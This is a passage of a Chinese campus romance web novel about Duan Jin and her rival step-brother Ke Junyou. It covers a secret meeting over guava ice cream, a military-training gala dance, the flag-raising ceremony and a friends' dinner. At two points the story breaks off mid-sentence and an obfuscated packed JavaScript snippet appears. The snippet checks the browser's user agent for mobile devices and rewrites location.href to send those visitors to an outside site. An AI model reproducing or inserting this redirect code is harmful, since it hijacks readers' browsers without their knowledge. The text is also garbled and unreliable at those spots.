她话音刚落,桌面上的手机响起一声消息提示音。 解锁点进微信。 【Pidrij:下楼。】 段槿没回复,已经锁屏并起身。 这会儿秦澜已经不抱希望的刷起了短视频,她看到一条特搞笑的视频,正准备拿给段槿看,见人已经嗖地一下起了身,都快走到宿舍门口了。 她赶忙叫住人:“你干嘛去啊。” 段槿:“不知道。” 看着段槿消失的背影,秦澜给谈俢焱发语音:“马上要和好了,你可以跟餐厅那边定位置了。” 谈俢焱秒回过来一个无语的表情包,然后发来一条语音:“我就知道,他俩吵架很少能隔周。或者换种说法,这次是有史以来吵得最久的一次了。” 这条语音下面,紧跟着一句。 【谈恋爱:所以这回吵架是因为什么事?】 秦澜琢磨了一下。 【摆烂小澜:不清楚,公主说讨厌柯总。】 五秒不到。 【谈恋爱:好笑,这不纯纯调-情吗。】 7. 亲嘴 电梯到达楼层发出叮的一声响,门向两侧缓缓打开。 喧嚣声如同潮水般涌来,各种声音交织,不算宽敞的电梯间堵满了等电梯的学生们,她们有人怀里抱着晒干的衣物,有人拎着校外买来的夜宵。 段槿侧身快速出了电梯,就看到不远处有两个穿着迷彩服的女生,她们一步三回头,边捂嘴偷笑边窃窃私语。 段槿原本并没有多在意她们讨论的话题,但聊到的内容怎么听都觉得不太对劲。刚将注意力投过去,就看到卷发女生疯狂拍打旁边短发女生的手臂,激动到快跳起来。 “我靠,外面树下那男生好帅啊,怎么之前没见过啊。” 短发女生抓住她的手,试图让她冷静一点:“你没看到他穿的衣服跟咱们的不一样啊,他应该是国旗护卫队的。” 卷发女生靠在短发女生肩上:“天哪,不知道他有没有女朋友,好喜欢怎么办,完全就是我的理想型。” 短发女生:“快别想了,他一男的,站咱们宿舍楼底下,不是等女朋友是什么?” 卷发女生瘪嘴:“好吧。” …… 她们的聊天仍在继续,段槿的步伐逐渐放缓,从边上经过时,她很想停下来跟她们说,外面那男的也可能是在等讨厌的人。 但她并没有将人叫住说明情况,只在来到一楼大厅时,给站在外面的柯钧佑使了个眼色。 柯钧佑很快领悟到,单手插兜,转身朝着宿舍楼右侧的小道走去,那条路可以直通宿舍区这边的小树林。 倒是一个很适合干,摆不上台面的事情的好去处。 但段槿并没有马上跟上去,为了不让人起疑心,她在大厅里转悠了几分钟才推门出去。 来到小树林,段槿沿着石子路一直走,最后在人工湖附近找到了柯钧佑。 这会儿他正坐在木质长椅上,低头把玩着手机,手机的亮度调的不算高,微弱的光芒照映着他轮廓分明的脸。 他头上戴着训练帽,帽檐压得低,几乎看不到他的眼睛。 随着越走越近,段槿才注意到,他所坐的这张长椅,旁边不到两米的位置上,有一对情侣亲得难舍难分。 段槿没见过这种场面,别开视线,低头看着地面,顺带把卫衣的帽子戴到了头上,然后快速绕开他们,在柯钧佑旁边坐下。 十分不解的问:“你为什么要选这个位置?” 柯钧佑说得随意:“因为别的位置声更大。” 段槿看他一眼:“什么声?” 察觉到她投来的目光,柯钧佑顺势对上她的视线,不过两秒,他浅墨色的眸子缓缓往下,移至那柔软的嘴唇:“亲嘴的声。” 话音落,他又再次看回段槿的眼睛,问她:“你想听吗?我去给你找个位置?你不是很想谈恋爱吗。” ……?这都什么跟什么,他怎么能把这两件事扯一块儿。 段槿不理解,懒得废话。 只是严肃的说:“你答应了我的。” 因为这句话,柯钧佑不再看她,靠着椅背,坐姿懒洋洋地,说话亦是如此,拖着尾音思考了一阵:“是吗。” 闻言,段槿的眸色更冷:“你忘了?” 柯钧佑依旧不看她,没什么情绪地说:“我记性比你好。” 段槿并不这样认为,反驳道:“那你站我宿舍楼门口。”她还想说,你胆儿这么大,为什么不直接朝楼上喊人大名呢。 但她忍住了,因为不管怎么看,隐瞒这件事都是她先开的口,或许柯钧佑真不在乎? 她可不敢赌。 正这么想着,柯钧佑很欠的说:“我故意的。” 段槿:?? 半天,段槿都没说话。 见她气懵了,柯钧佑才望向她,语气玩味:“就乐意看你气急败坏的样子,很傻,跟你的智商差不多。” 段槿:……?? 她没有丝毫犹豫,抬脚,往他鞋面上狠狠踩了一脚:“你又人身攻击,你这样很过分,你知道吗?我很生气。” 其实一直以来,柯钧佑都有一个疑问,段槿到底是怎么做到一本正经,且面无表情的说出你很过分,和我很生气,这样的话的。 一点威慑性都没有,威胁到了0个人,她不知道吗? 好吧,她显然不知道。 见柯钧佑没应答,段槿很快翻篇,只问:“你叫我下楼干什么?” 柯钧佑轻微扬唇:“吵架,好几天没吵了,闲得慌。” 段槿:?? 就不该下来,纯找罪受。段槿扭头不看他的同时,起身走人。 刚迈出没两步,一手搭在长椅椅背上,坐姿很是慵懒的柯钧佑开口将人叫住:“吃不吃雪糕,我看学校便利店有新品。” 他连身都没起,只是微微回过头看着她。 段槿停住脚步,但没转身,只问:“什么新品?” 柯钧佑站起来,单手插兜走到她身旁:“芭乐味雪糕。”话音落,他朝着便利店的方向走,撂一句:“等几分钟再过去,趁着这个时间,可以好好听听别人亲嘴的声,学习学习。” 段槿不跟柯钧佑计较,他总是喜欢说这些难听,且莫名其妙的话。 但不知道是不是因为他总提到‘亲嘴’这个事儿,导致在长椅上坐的这么几分钟时间里,耳边那些黏腻的声音格外明显,还有他们的对话,实在是……有点没好意思听下去。 掐着点,段槿起身朝着便利店的方向去。她走得快,在这里实在是有点待不下去了。 等她来到便利店门口时,店里零零散散就几个人,还都不是结伴的。 段槿透过便利店的落地玻璃窗往店里看,并没有看到柯钧佑,她又在附近转了一圈,才在便利店后面的小道上看到他。 离开了主路,这里的灯光效果明显差了许多。柯钧佑半个身子陷在黑暗中,他站在小道的台阶上,微弱的光亮照在他侧脸,他的下颚线条清晰,微微垂头时,刘海完全贴在了睫毛处,将他的眼睛盖住大半。 先前是因为戴着帽子的缘故,过长的刘海被往后顺,藏在了帽子里,这会儿他已经摘掉了帽子,刘海很随意的搭在额前。 走了几步,段槿发现,柯钧佑头顶有一撮头发微微翘起,显得特别呆。 她不打算提醒他,快走到跟前时,看到他手上什么都没拿。 忍不住质问:“不是买雪糕吃吗?” 闻声,柯钧佑转眸瞥了她一眼,什么都没说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537794|203859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,绕开她进了便利店。 一分钟不到他回来了,手上拿着两支芭乐口味的雪糕。 他递给段槿一支,段槿接过,看到包装盒上面印着芭乐切面的图案,看着很有食欲。 她撕开袋子,拿出这支芭乐形状的雪糕,咬了一口。绿色的外壳是巧克力,咬起来脆脆的。尝到里面果肉的味道,是很浓郁的芭乐味混合着草莓。 再咬一口,雪糕在舌尖融化满开,酸酸甜甜的,特别清爽。为了还原度,雪糕中心部分还添加了饼干碎粒,当做芭乐的籽。 这款雪糕整体的味道很好,段槿一口接着一口的吃。 口袋里的手机在这时响起消息提示音,段槿这才想起来,她都还没跟秦澜说明情况,就一溜烟跑得没了影。 她解锁手机,看到置顶栏里秦澜最新发来的消息。 [摆烂小澜:公主~你还回来吗?] 段槿顺手拍了一张手拿芭乐雪糕的照片发过去,并配文:在吃雪糕。 十秒钟后。 [摆烂小澜:你俩为什么要偷偷约会,搞孤立是吧!我要告诉谈俢焱和阿泽!] 段槿不知道秦澜这样认为的依据是什么,也不清楚她是怎么发现自己下楼是找柯钧佑。 很奇怪,她点开照片放大看,然后就发现照片的角落处,露出了一双黑色真皮长靴,以及这人拿雪糕的手。 一只特别有辨识度的手,他的手指白而长,骨节分明到有些性感,特别是关节处,还微微泛着粉。 退出照片,段槿缓慢敲字。 [ukiava:你要吃吗?我让他买,或者,你们仨现在过来,我们一起约会。] 段槿艰难的单手打着字,甚至忘记手上还拿着雪糕,现在这个气温,哪怕是晚上都有三十多度,雪糕正在快速融化,顺着有齿痕的最顶部往下流。 这会儿柯钧佑已经快吃完,他余光瞥了眼,将手机锁屏塞兜里:“别聊了,再不吃要化了。” 见段槿压根儿没搭理人,打字的速度越来越快,急着跟对面聊着什么。 柯钧佑的眼里没有任何温度,薄唇抿成一条直线。 好一阵:“等会儿手弄脏了别往我衣服上抹。”说着就把段槿的手机夺了去,塞进了另一侧的口袋里。 段槿没去抢,加快速度解决这支雪糕。 然后又提出:“你再给我买一罐芭乐味的汽水。” 柯钧佑没说话,朝着不远处的贩卖机走去。 在段槿吃完雪糕前,他不紧不慢地踱了回来,将汽水递给她,接着又把手机还她,再没一句话的走人了。 等人走得没了影,段槿吃掉最后一口雪糕,将木棍丢进旁边的垃圾篓。单手拉开易拉罐的拉环,仰头猛灌了一口汽水。 冰凉的液体滑入口腔,气泡触碰到舌尖,顺着喉咙往下,刺激着身体的每一个细胞。 在尝到这罐芭乐汽水的味道后,段槿面无表情地解锁手机敲字。 [ukiava:这么难喝你为什么要买给我喝?] 对面回得很快,几乎秒回的程度,速度快到像是就在等着这条消息。 [Pidrij:你不是求我了吗?] 段槿:O.O…? 8. 新生代表 发完抱怨消息,段槿拿着这罐味道极其劣质的芭乐汽水回到了宿舍。 刚在桌前坐下没几分钟,宿舍的门被敲响,门外那人没吱声,连着敲了三下后就再没任何动静。 这会儿段槿正在手机上剪视频,是前不久在秦澜她们宿舍,穿着迷彩服,和她一起录制的手势舞。她耳朵里塞着耳机,完全没有察觉到那不算太响亮的敲门声。 而另外三位舍友,先是同时看向发声处,再对视一眼。 眼神交流一番后,浅浅朝着门口问道:“哪位啊。” 门外的女人这才出声:“我,导员。” 三人瞬间松口气。 李婷很快起身去开门,孙导员斜着眼笑着往宿舍里进:“你们没藏什么违规电器吧。” 浅浅迎上前,打趣道:“哪能啊导员。” 孙导员面上还是带着笑,只是又问了一嘴:“那开门这么慢。” 田恬解释:“我们仨刚看完鬼片,以为是鬼敲门。” 不等导员说话,浅浅问:“这么晚不会是来查寝的吧,我们四个可都在呢。” 也是这时,段槿才察觉到有人进了宿舍。 她摘掉耳机站起身,都来不及反应,导员两步上前,笑着: “小槿,我这次过来就是想问问,你有没有什么擅长的才艺呀,这不马上要结束军训了嘛,学校要办个晚会,现在报上去的节目还不够,所以只能让各班导员挨个问问。” 对上导员期待的目光,段槿思考了许久,久到导员以为她不愿意但又不好意思拒绝,想着要不就算了,而她们旁边的浅浅都准备举手自荐了。 段槿认真问:“跳舞,可以吗。” 实际上她不是不好意思拒绝,是在想到底表演什么节目,她擅长做的事情有很多,例如跳舞唱歌乐器,或是需要体力和高难度技巧的,其实只管开口就行,她基本上都会。 如果非要让她选择,她就觉得有些难办了,因为她喜欢的,似乎没办法在晚会上完成,例如骑马、滑雪、攀岩、各种球类、以及其他的竞技运动。 最后她纠结来纠结去,就选了跳舞。 至于跳什么,在导员离开宿舍后,段槿找了几支舞蹈视频私发过去,然后又顺带问了三位舍友要不要一起跳。 三位舍友没有吭声,互递完眼神,田恬开口道:“我肢体不协调。” 李婷很快接话:“要上台面对那么多人我会不好意思,主要还是怕给你拖后腿。” 段槿没说什么,只看向浅浅。 浅浅笑了下:“你把舞蹈视频发我看看,我先自学一下。” 隔天上午,导员来操场找到段槿和浅浅,带着两人去了体育馆的排练室。她们过来的时候,教室里已经站着四个穿着迷彩服的女生,是同专业不同班的。 那晚从段槿她们宿舍离开后,导员特意在专业大群问过了,会跳这几支舞的报名。也就是说,她们不需要从0学起,基本上只用走个队形,再确保上台那天她们能跳整齐就行。 这之后的几天晚训时间,六个人准点在排练室集合。 排练过程中,段槿依稀听到了柯钧佑的声音,似乎在监督国旗护卫队的训练,不过他们具体在哪里训练不得而知。 段槿只听浅浅说,这次的开学典礼,新生代表是国旗护卫队的一个帅哥。 同一时间,五人群有消息弹出。 段槿没应浅浅的话,解锁手机看消息,是谈俢焱发来的。 【谈恋爱:我不想多说了!没见过佑哥和阿泽穿礼宾服的人,简直白活了!!】 【摆烂小澜:废话真多,照片发来。】 段槿没有在群里冒泡,似乎不太关心那张并未发出来的照片,只默默将手机锁屏,不着痕迹地瞟了眼屏幕上方的日期。 - 长达十四天的军训生活即将结束,上午训练完,总教官刚喊出解散,操场上就响起了此起彼伏的欢呼声,众人高喊苦日子可算熬到头了。 下午的时间,各班开班会,有节目的同学们继续进行排练。 军训联谊晚会是在今天晚上七点正式开始。 一整个下午段槿她们都在排练,几乎没有太多的空闲时间可以玩手机,以至于段槿并不知道五人群里都聊了些什么。 等结束了排练,段槿化完妆从后台往外看的时候,同学们已经陆陆续续来到了操场集合。 同一时间,手机上弹出秦澜的微信消息,段槿边解锁手机,离开后台往休息室去。 手机解锁后,聊天框内弹出一条语音,段槿点击语音条,将手机贴到耳侧,秦澜甜软的声音很快传出。 “公主,你是不是还没吃晚饭呐,我要谈修焱去后街买了果切,等会儿送过去给你垫垫肚子,晚点让你哥带你去吃饭,实在不行我们去吃一顿好的,记你哥账上!” 听完这条语音,段槿有些摸不着头脑,顺手退出聊天框,点进了五人群聊。往上翻了几页他们的聊天记录,段槿精准锁定关键词:没空、逃不了、不感兴趣、看情况。 而这些关键词都出自某位不熟的高中同学。 段槿不太在意,在休息室等着谈修焱送水果来。大概等了不到十分钟,穿着私服,烫着美式前刺,墨镜反戴的高个子男生拎着几盒果切过来了。 他进休息室时正拿着手机,听筒靠近耳侧,听完对面的语音,他将果切放到桌上的同时,按住了语音键,回话:“知道了祖宗,晚点儿过去找你。” 发完这条语音,他将手机揣进兜里,朝段槿抬下巴,挑眉,跟她打了声招呼:“演出顺利啊。”说完这句,他也没久待,很快便离开了休息室。 人前脚刚走,后脚,同专业不同班的一个卷发女生从老远的地方窜了过来,黏到段槿身边,眼睛一闪一闪的:“我靠小槿,刚刚那个男生好帅啊,他叫什么啊,哪个专业的,跟你什么关系啊?是男朋友吗?” 一连串的问题砸过来,段槿拆果切的动作一顿,然后回话:“不是,是发小。” 卷发女生瞬间松一口气,紧接着又八卦了一句:“那他有女朋友吗?” 段槿刚叉起一块芭乐,还没送到嘴边,思考了两秒后回答:“他,可能不太好追。” 卷发女生想再靠近一点问个明白,但她记得段槿不喜欢跟人有肢体接触,所以只能作罢,认真询问:“此话怎讲啊。” 段槿手上还拿着叉子,没把芭乐往嘴里送,快想破脑,该如何委婉的告诉她,谈修焱似乎对谈恋爱没兴趣,并且他刚刚很装的,其实一般情况下,他特别的二百五。 最后,她只说了一句话:“你可以去试试,他真的很难追。” 段槿印象很深刻,那时他们高二,同校的学姐在毕业前给谈修焱写了一封情书,赶着大课间的时候送来了高二教学楼。 学姐本以为自己十拿九稳,结果对方连情书都不带看一眼,只说了一句:好好学习,然后很直接的拒绝了表白。 当时不少人都被吓了一跳,毕竟没几个人见过那样的谈修焱,他明明上一秒还在跟朋友有说有笑,搭的话挺没情商的,结果这一秒就展现出生人勿近的模样,压迫感十足。 后来论坛里有人问,为什么不追柯钧佑和杜覃泽。不少暗恋者哭诉,说谁敢啊,他们仨属谈修焱看着最好追,也最好说话,谁曾想都一个样,太可怕了。 如今又有人看上了谈修焱,不出意外的话,没戏。 段槿非常了解谈修焱,以至于卷发女生要她把好友推过去的时候,她没有拒绝。因为她知道,他们仨男的不会通过陌生人的好友验证,就连同班同学都不一定会通过,别说完全不认识的人了。 把微信推过去后,段槿吃掉了半盒芭乐,又吃了几颗蓝莓。 过了十分钟,老师就来喊几人到后台做准备了。 等待时,段槿透过幕布的缝隙,看到台下乌压压的全是人头,由于大伙儿都盘腿坐在草坪上,导致段槿一眼就注意到了站在人群最后排的柯钧佑。 他穿着训练服,单手抄兜,始终目不斜视。 两人就这样隔着老远对上了视线。 对上视线的下一秒,段槿就观察到柯钧佑所在的位置简直就是绝佳机位,她没有朝他做口型,只是看着他,特别认真的看着他,然后轻轻挑了下眉。 直到台上的表演结束,主持人介绍完下一个节目。欢呼声和掌声再次响起,段槿等人站上了舞台。 随着幕布被拉开,前奏声响起,她们跳的是最近网络上很火的一支韩团舞。这首歌拥有令人着迷的节奏感,独特的旋律和极具冲击力的舞蹈动作,完全就是视觉与听觉的盛宴。 现场气氛十分热烈,原本坐在草坪上,奄奄一息的同学们,在看到六位穿着Y3K风格服装的女生登台表演后,欢呼声快震破耳膜,不少人从草坪上站了起来,跟着音乐节奏摆动着身体。 段槿看到台下半数人都举起了手机进行拍摄,不出意外,等会儿的论坛应该会被这个节目淹没。 很快,三分钟的舞蹈结束,下台后段槿偷摸着跑到了操场后方的一个角落。 此时台上站着一位女生,拿着麦克风唱一首有关青春的歌曲。台下的观众们边举手跟着节奏左右摆动,边进行大合唱。 这样的情况下,不会有人刻意关注这个没有灯光,还被一颗大树遮挡住的小角落。 不过段槿还是有些心惊胆战,刚靠近树后头的高大人影,她就发现,穿着训练服的柯钧佑不知道从哪搞了一顶黑色的棒球帽戴着,帽檐压得低,完全看不清他的眼睛。 段槿这才放松下来,快速问:“照片拍了吗?” “拍了。”边说着,柯钧佑掏手机出来递过去。全程,他的视线一直停在前方的舞台上。 段槿拿过手机,输入密码解锁后点进相册检查照片,她往下翻了翻,发现不仅拍了照片,还录了视频,就是…… 她很直白:“拍得真烂。”说完,她将柯钧佑的手机揣进了自己兜里,然后头也不回地往操场中央走去,撂一句:“我传好照片再还你手机。” 看着段槿离开的背影,柯钧佑抬手看了眼腕表时间,距离国旗护卫队加训已经过去快二十分钟。 他不急不慢回到所在班级的队伍里。 队伍里有个同样是国旗护卫队的同学,他边看节目,朝柯钧佑伸出手:“佑哥,你手机借我一下呗,我手机像素太低了,拍出来不好看。” 对方话音刚落,柯钧佑不咸不淡地开口:“被骗走了。” 男同学原本还沉浸在大合唱中,恍惚间察觉到什么,还以为自己听岔了,转头看向一旁的柯钧佑,眼睛睁得圆鼓鼓:“啊?” 他抓住柯钧佑的手臂:“我靠谁啊,电信诈骗吗?你怎么这么容易上当啊。” 柯钧佑没回这句,只是微微垂眸,看着被抓住的地方。 男同学很快松开手,连忙道歉:“抱歉抱歉,忘了你不喜欢被人碰。” 与此同时的另一边,段槿传完所有的照片和视频准备去还手机时,谈俢焱和秦澜刚好过来这边。 段槿都不带过多思考的,直接把手机给谈俢焱:“你去还。” 谈俢焱接过手机,仔细瞧了眼,认出了手机的主人,他不太乐意:“为什么不自己去?” 段槿已经双手抄兜,一副不关我事了的姿态:“我和他不熟。” …… 这是人说出来的话吗?怎么就是听不明白呢。 谈俢焱甚至无法彻底的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537795|203859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 融入到他俩的世界中,只能默默握紧手机,跑操场另一头的队伍里去还手机。 - 联谊晚会在晚上九点结束,隔天便是军训汇报演出以及开学典礼。 全体新生穿着迷彩服在操场上集合,由于时间太早大伙儿都还没睡醒,哈欠声快响遍整个操场。 就这样干站着等了快半个小时,军训汇报演出才终于准备开始,其中最重要的一个环节就是升国旗。 此时太阳已经升起,新生们笔直地站在操场上。 随时升旗仪式正式开始,所有人的注意力同一时间转移到了跑道的最右方,那里站着一支新组建的队伍。 段槿先看到的是站在第一排正中央的擎旗手杜覃泽,紧接着,队伍慢慢逼近,她的目光渐渐落到了杜覃泽后方,手持指挥刀的执行队长柯钧佑的身上。 他穿着一身笔挺的礼宾服,藏青主色配金色饰边,金属臂章佩戴在礼服的左臂,绶带佩戴在左肩。他头上戴着大檐帽,帽檐下是一双漆黑如墨的眼睛。 他面容冷峻,眼神不再慵懒,透着一种不容置疑地坚定,是威严的,也是自信的。 他握刀的动作迅速,配合着口令,一波接着一波的哇声在操场中传开。 待汇报演出结束后,柯钧佑换掉了礼兵服,穿着一身黑色西装,做为新生代表上台发言。 “尊敬的领导、老师,亲爱的同学们,大家上午好。我是2023级软件工程专业的柯钧佑。非常荣幸今天能够代表全体新生,站在这里发言。” 他身姿挺拔,面无表情时有几分冷峻的痞劲,非常惹眼。 开学典礼在上午十一点整结束,柯钧佑的ins号是在十一点半被扒出来的。 而在账号被挂到论坛的前一分钟,柯钧佑在ins上发布了一段视频,视频内容很简单,甚至在刚点开时,会以为只是普通到误触的视频。 视频开始时的镜头对准电梯的按键区,随后镜头缓缓往上移,几乎是仰视角度,对着头顶上方,电梯里的透光镜。 镜子折射出柯钧佑的轮廓,他穿着一身简单的adidas运动装,微微侧头,将半张脸从手机后方露了出来,轻微挑了下眉。 这段视频甚至没有配BGM,却足够带感,很快被人转载到了论坛上。 段槿倒是没有关注这条视频,只是在看到论坛上已经被他的名字刷屏后,点了私聊。 【ukiava:没我吧。】 【Pidrij:为什么会有你,你还挺自恋的。】 看着这条消息,段槿把他的聊天框从置顶栏划掉,只留下说话好听的几人。 其实她知道,柯钧佑的ins只发他自己,就连杜覃泽和谈俢焱都只出镜过两次。但万一呢,万一有某些小细节露馅了,毕竟网上冲浪的人,真的很会扒细节。 划掉聊天框的同一时间,五人群里有消息弹出。 【谈恋爱:什么时候去吃饭啊我快饿死了。】 这条消息下方,他把饭店地址发了出来。 几人约了个时间,各自开车前往饭店。 段槿来到包间时,里头已经坐了三人,他们正边聊天边点菜。 看到段槿来了,秦澜连忙招手拉她在主位坐下。坐下后,段槿的左边是秦澜,秦澜的左边是谈俢焱,谈俢焱的左边是杜覃泽,杜覃泽旁边空了个位置,是留给希尔大学的风云人物,某位说话不好听的高中同学的。 柯钧佑不知道被什么事绊住了脚,等几人点完了菜,他还没来。 谈俢焱看一眼腕表时间,下意识就问了句:“公主,佑哥干嘛去了,怎么还不来啊。” 听到这话,段槿有些莫名其妙:“我不知道。” 谈修焱转头又问杜覃泽,人连眼皮都舍不得抬一下,把玩着手机。 于是谈修焱大胆猜测:“佑哥该不会是被人堵了吧。” 听到这话,杜覃泽终于舍得赏他一眼,抬眼瞥向他:“被堵了也打得赢。” 谈俢焱直接无语住:“我他妈是说被追求者堵了,你不会不知道吧,咱佑哥的ins号已经被扒出来了,他的照片在校论坛上都刷屏了。” 不给其他人反应的机会,他又快速转了个话题:“话说公主,你和那个叫齐禹的什么情况啊,你俩的事都传我们专业来了。” 要是谈俢焱不提,段槿都快忘了有这号人物。 她没什么情绪的说:“没情况。” 话音刚落,柯钧佑推门走了进来。 见人来了,秦澜眉尾一挑:“所以上次你俩吵架,是因为他?” 段槿不解,下意识看向柯钧佑。 这会儿柯钧佑已经换上私服,他的刘海很随意地搭在额前,微垂着眼,又是一副不爱搭理人的样,进包间后甚至连目光都没往主位那瞟。 段槿已经不再看他,有些不太懂秦澜这话里的意思,甚至觉得莫名其妙,很诡异的感觉。 她无情地撇清:“怎么可能。” 秦澜不纠结这事,换了个话题:“我听说从明天开始,社团和学生会要开始招新了,你们有兴趣吗?” 段槿对这事很上心,早就有所关注,所以在秦澜问出这个问题的时候,她很快速地回答:“我想去文体部面试副部长,听说这个位置刚好空缺。” 闻言,杜覃泽冷不丁一句:“完了,你俩又要抢同一个职位了。” 此话一出,段槿和柯钧佑不约而同地抬眼,瞟向对方。 对视上的一瞬间,他们的眼神里流露出难以掩饰的冰冷气息,那双眼睛里仿佛滚起了两团火焰。 他们俩那极具疏离感的目光,让人不寒而栗。 就这样死死盯着,好似利剑,使周遭空气顿时凝固。 9. 叫哥哥 说到‘又’,不算太愉快的记忆成功被唤起。 而这一切问题的源头,是七岁那年,段融桦突然领回家一个男孩开始的。 段槿印象很深刻,那时暑假接近尾声,宁倾眠难得抽出一整天的时间可以待在家里,虽然她依旧在忙着工作的事情,但这样的陪伴让段槿感到十分有安全感。 吃过午饭后,段槿穿着舒适的居家服,盘腿坐在户外地毯上拼乐高。 午后的阳光透过叶片的缝隙筛落在翠绿的草地上,暖暾暾的,十分慵懒。 段槿身后不远处的客厅里,原本在工作的宁倾眠接到了一通电话。打电话来的人不知是谁,宁倾眠在接通后嗯了好几声才开口说话。她的声音紧张又激动,十分的反常。 段槿拿起一小块积木,拼接上的同时,回过头看了眼站在落地窗前的宁倾眠,有些不明所以。 很快电话被挂断,段槿刚转回头继续拼积木,宁倾眠就大步走了过来,一把拉住了她的手腕。 被猝不及防的打断,段槿来不及说什么,宁倾眠就快速嘱咐了一句:等会儿记得喊人。 与这句话同时响起的,还有前院传来的,小轿车低速行驶的声音。 随着车辆停稳熄火,宁倾眠握紧了段槿的手,将人从地毯上拉了起来。 段槿这会儿还有些懵,似是没有听懂宁倾眠说的那话,就已经被牵着走进了客厅。 她的目光呆愣,微微仰头,看着面含笑意的宁倾眠。这短短的几分钟时间里,她能很明显的感受到宁倾眠的手越握越紧,而这般异常的举动让段槿完全摸不清头脑。 直到迎面撞上许久未见的父亲,以及他领回来的男孩儿。 现在回想起来,那时第一次和柯钧佑见面,其实段槿都没敢看清他,只躲在宁倾眠的身后,透过宁倾眠微微抬起的手臂缝隙,不算太友好的盯着站在父亲身旁,穿着十分得体的男孩儿。 那一刻,段槿的耳边除了最开始宁倾眠的那句:叫哥哥。 就只剩下无止息的,两位大人的介绍。 其实段槿对家里突然要住进来一个陌生哥哥,没有什么特别的感觉,但好像也不是完全无所谓的。以至于他们的初识不算太愉快,因为段槿从对方的眼神里看到了满满的敌意。 后来想想,或许是自己想多了也有可能。毕竟当时柯钧佑只是眸光微暗,看着不太高兴的样子。那般冷漠的,极具疏离感的眼神,好似并没有做足融入这个家的准备。 只是也不知道从什么时候开始的,可能是两人见面的第一眼,也可能是后来一段时间的相处,总之,他们彼此都到了互看不顺眼的地步。 要不是后来谈俢焱的坚持不懈,他俩的关系应该比现在还差。 不过现在也没好到哪去。 此时此刻,杜覃泽的话反反复复刺激着段槿。 段槿忘不掉,自打和柯钧佑成为一家人后,他们几乎被绑定到了一块儿,也因为这个原因,她想摆脱他都成为了一件不现实且叛逆的事情。 而在成长的这条路上,她和柯钧佑似乎总在争抢着,好像不管干点什么,他们都要抢。 从小学一年级开始,一直到高中毕业,读了多少年书,他们就抢了多少年的班长一职。 可每年的竞选结果都不如段槿的意。这让她十分的不服气,虽然她很清楚柯钧佑的能力,但也并不代表,她认为自己比他差。 现在亦是如此,如果柯钧佑也想要文体部副部长的位置,她依旧不可能主动退出,哪怕最后失败了,她也不畏惧。 - 两人就这样略带敌意的对视了数秒,直到段槿看到柯钧佑很轻微的歪了下头,眼神中似乎带着挑衅意味。 这眼神旁人读没读懂不知道,反正段槿再清楚不过。 可都不等她做出什么举动,谈俢焱及时劝架:“诶诶诶,你俩可别打起来了,说实话我挺怕的。” 见状,秦澜附和一句:“你俩一对视,我感觉就不太妙,这餐饭还能好好吃了吗?” 话音还未落,段槿就已经面无表情地扭过了头,明显不稀罕和对方动粗。而某人也只是拿起手边的茶盏,喝了一口杯中的茶水。 很涩,没有港芙居的茶好喝。 这么觉着,柯钧佑将茶盏推远,余光注意到段槿很轻微地抿了下沾了茶水的嘴唇,紧接着眉心不着痕迹地蹙了下。 再之后,一直到这餐饭吃完,两人都没有参与任何一个话题的讨论,就连眼神都没有给对方,完全将身旁的人给屏蔽掉了。 饱餐一顿后几人商量着,转场去了BERRY。 BERRY开业至今也有两个多月了,他们去捧场的次数屈指可数。 虽然不常去,但段槿却没少吃店里的甜品。每回研发出新品,在上架前她一定会最先品尝到。 从饭店出发半个钟左右,三辆同色系机车以此停靠在马路边。 此时店铺门口已经堵满了排队等叫号的客人。 待机车熄火,BERRY一楼的木门被推开,门上挂着的风铃发出清脆的声响。 店内走出来一位穿着工作围裙的女员工,她拿着手写本朝外头喊道:“33号!33号客人可以进店了。” 见此情景,谈俢焱将挡风镜片推上去的同时脱口而出一句:“我靠,今天不是工作日吗怎么这么多人啊,我还以为走错地儿了呢。” 说着这话,他转头看向一旁摘掉头盔,微微仰头轻甩了下发梢的柯钧佑。对方面上依旧没有什么表情,甚至连眼皮都懒得抬起。 谈修焱倒也不在意,早习惯了,只是问:“你私信哪个网红了?” 此话一出,降下车窗的冰银色迈凯伦缓慢行驶过来,正正好停在了他们的车后方。 坐在副驾驶座上的秦澜将墨镜推到头顶,手臂靠放在窗边,特八卦的探出半个脑袋:“什么网红啊,加联系方式了吗?” 柯钧佑很明显懒得搭理俩人,已经跨-下机车,连个多余的眼神都不给地往店门口走去。 人前脚刚走远,杜覃泽冷不丁开口:“我劝你俩少说话。” 秦澜的嘴还没闭严实,段槿毫无波澜的声音在后方响起:“下车,我去找停车位。” 等段槿停完车回到BERRY门口时,恰好听到等位的几个小姑娘闲聊的话题似乎跟店铺的火爆程度有关。 她没太仔细听,好像是说BERRY不像某些网红店,在网络上铺天盖地做宣传,把食物夸得天花乱坠,最后到地方了,东西难吃得要命不说还死贵。 至于为什么BERRY现在这么火爆,一是因为店铺的装修风格很适合打卡拍照,其次就是有不少顾客见过老板,以及老板的朋友们。 虽然至今网络上都没有流出任何一张照片,但一个传一个,慕名而来的人越来越多,店自然就火了。 段槿不太关心这些有的没的,听了个大概后就推开一楼的木门进了店。 此时专属休闲区的沙发上,秦澜和谈修焱跟没骨头似的瘫坐在上面,边打游戏边唠嗑,俩人时不时还拉上一旁的杜覃泽一块儿唠,不过人压根儿不太乐意搭理俩话多的。 